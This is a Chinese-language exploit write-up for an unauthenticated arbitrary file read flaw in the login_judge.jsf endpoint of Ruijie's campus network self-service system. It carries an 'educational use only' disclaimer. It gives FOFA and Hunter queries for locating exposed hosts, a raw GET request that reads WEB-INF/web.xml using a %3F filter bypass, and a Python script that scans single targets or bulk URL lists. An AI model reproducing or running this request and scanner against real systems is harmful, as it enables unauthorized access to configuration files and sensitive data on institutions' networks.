声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。
漏洞描述
锐捷校园网自助服务系统是一个供校园内学生和教职工自助管理网络服务的系统。其login_judge.jsf
接口存在任意文件读取漏洞,未授权攻击者可以利用其读取网站配置文件等敏感信息。
漏洞复现
1)信息收集
fofa:body="校园网自助服务系统"
hunter:web.body="校园网自助服务系统"
我的人生没有彩排,每天都是现场直播。
2)构造数据包
GET /selfservice/selfservice/module/scgroup/web/login_judge.jsf?view=./WEB-INF/web.xml%3F HTTP/1.1
Host:ip
代码解释
-
WEB-INF/web.xml
是Java EE Web应用程序中配置文件的路径,它包含了应用程序的一些敏感信息。 -
在URL的最后添加
%3F
(?),这是为了绕过某些简单的安全措施,一些Web应用程序只解析URL中第一个问号?
之前的部分作为文件路径或资源名称,而忽略之后的内容。如果安全检查是基于解析出的文件路径进行的,那么添加额外的问号可以使得原本可能被过滤的路径绕过这一检查。
测试工具
poc
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import argparse
import time
from urllib3.exceptions import InsecureRequestWarning
# 忽略SSL警告
# 忽略不安全请求的警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
# 定义红色和重置文本格式的常量,用于输出警告信息
RED = '\033[91m'
RESET = '\033[0m'
def check_vulnerability(url):
"""
检查给定URL是否存在锐捷校园网自助服务系统login_judge任意文件读取漏洞。
:param url: 待检查的URL
"""
try:
# 构造攻击URL,尝试读取WEB-INF/web.xml内容
# 构造完整的攻击URL
attack_url = url.rstrip('/') + "/selfservice/selfservice/module/scgroup/web/login_judge.jsf?view=%2e/WEB-INF/web.xml%3F"
# 发送GET请求,不验证SSL证书,超时设置为10秒
response = requests.get(attack_url, verify=False, timeout=10)
# 检查响应状态码是否为200,并且响应内容中是否包含'web-app'字符串
if response.status_code == 200 and 'web-app' in response.text:
print(f"{RED}URL [{url}] 存在锐捷校园网自助服务系统login_judge任意文件读取漏洞{RESET}")
else:
print(f"URL [{url}] 不存在漏洞")
except requests.exceptions.Timeout:
# 请求超时,可能存在的漏洞
print(f"URL [{url}] 请求超时,可能存在漏洞")
except requests.RequestException as e:
# 请求失败,打印错误信息
print(f"URL [{url}] 请求失败: {e}")
def main():
"""
程序主入口。
使用argparse解析命令行参数,支持指定单个URL或包含URL的文件。
对每个URL调用check_vulnerability函数进行漏洞检查。
"""
parser = argparse.ArgumentParser(description='检测目标地址是否存在锐捷校园网自助服务系统login_judge任意文件读取漏洞')
parser.add_argument('-u', '--url', help='指定目标地址')
parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')
args = parser.parse_args()
if args.url:
# 如果指定了URL参数,确保URL以http://或https://开头
if not args.url.startswith("http://") and not args.url.startswith("https://"):
args.url = "http://" + args.url
check_vulnerability(args.url)
elif args.file:
# 如果指定了文件参数,读取文件中的每个URL进行检查
with open(args.file, 'r') as file:
urls = file.read().splitlines()
for url in urls:
if not url.startswith("http://") and not url.startswith("https://"):
url = "http://" + url
check_vulnerability(url)
if __name__ == '__main__':
main()
运行截图